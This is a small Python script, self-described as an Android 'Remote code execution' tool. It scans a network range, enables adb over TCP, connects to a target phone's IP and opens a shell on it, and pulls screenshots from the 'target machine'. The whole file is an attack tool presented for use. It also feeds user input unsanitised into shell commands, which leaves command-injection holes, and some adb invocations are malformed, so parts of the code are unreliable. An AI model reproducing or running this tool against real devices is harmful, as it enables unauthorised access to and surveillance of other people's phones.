import argparse
import os
import termcolor
import subprocess

parser = argparse.ArgumentParser(description="Remote code execution Android..")
parser.add_argument('-t','--target',type=str, metavar="", required=False, help="Set the taget's ip address..")
parser.add_argument("-m","--mode",type=str, metavar="", required=True, help="Set the mode to use..(connect, scan, devices, screenshot)")
args = parser.parse_args()

if (args.mode == "scan"):
    range = str(input(termcolor.colored("Enter the range of the ip address to scan: ", "red")))
    try:
        os.system(f"netdiscover -r {range}")
    except Exception as e:
        print(termcolor.colored("Invalid ip address.", "red"))

elif (args.mode == "connect"):
    print(termcolor.colored("Connect the device with usb.", "red"))
    try:
        os.system("adb tcpip 5555")
        os.system(f"adb connect {args.target}:5555")
        os.system(f"adb -e {args.target} shell")
    except Exception as e:
        print(termcolor.colored("Turn on the USB debugging on.","red"))

elif (args.mode == "screenshot"):
    command1 = "adb -e "+args.target+" shell screencap /sdcard/screencap.png"
    location = str(input(termcolor.colored("Enter the location you want to save the image: ","red")))
    command2 = "adb -e "+args.target+" pull /sdcard/screencap.png "+location
    subprocess.Popen(command1, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    try:
        subprocess.Popen(command2, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)  
        print(termcolor.colored(f"The screenshot of the target maachine has been saved to {location}", "red"))
    except Exception as e:
        print(termcolor.colored(f"Write the location in the /root/home/... format.","red"))

elif (args.mode == "devices"):
    print(termcolor.colored(os.system("adb devices"), "red"))